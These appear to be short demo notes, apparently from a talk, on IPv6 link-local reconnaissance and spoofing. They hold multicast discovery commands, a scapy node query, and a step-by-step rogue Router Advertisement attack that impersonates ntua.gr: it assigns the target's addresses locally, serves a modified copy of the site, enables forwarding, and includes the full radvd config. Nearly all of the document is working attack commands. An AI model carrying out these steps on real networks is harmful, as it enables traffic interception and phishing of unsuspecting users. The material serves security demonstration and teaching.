##### Find all local nodes on the network by their link-local address
$ ping6 ff02::1%eth0

##### Find all local DNS servers that respond to queries
$ dig void.gr @ff02::1
(look at tcpdump for the output)

##### Node Information Query (using scapy)
$ scapy
 > a=sr1(IPv6(dst="ff02::1")/ICMPv6NIQueryName(data="ff02::1"))
 > print a.sprintf( "%src%: %data%")

##### Demo on spoofing {,www}.ntua.gr using RAs
## Add to the local host the following IPs:
$ sudo ip a add 2001:648:2000:de::210/64 dev eth0
$ sudo ip a add 2001:648:2000:de::213/64 dev eth0

# start nginx with a modified ntua.gr site
$ sudo /etc/init.d/nginx start

## enable IPv6 Forwarding
$ sudo echo "1">/proc/sys/net/ipv6/conf/all/forwarding

## Start radvd with the tweaked conf
$ sudo radvd -d 2 /home/kargig/MyWork/0x375/radvd.conf

---------------- start of radvd.conf --------------
interface eth0 {
        AdvSendAdvert on;
        MinRtrAdvInterval 5;
        MaxRtrAdvInterval 15;
        prefix 2001:648:2000:de::/64 {
                AdvOnLink on;
                AdvAutonomous on;
                AdvRouterAddr on;
                AdvValidLifetime 86400;
                AdvPreferredLifetime 3600;
        };
};
---------------- end of radvd.conf ----------------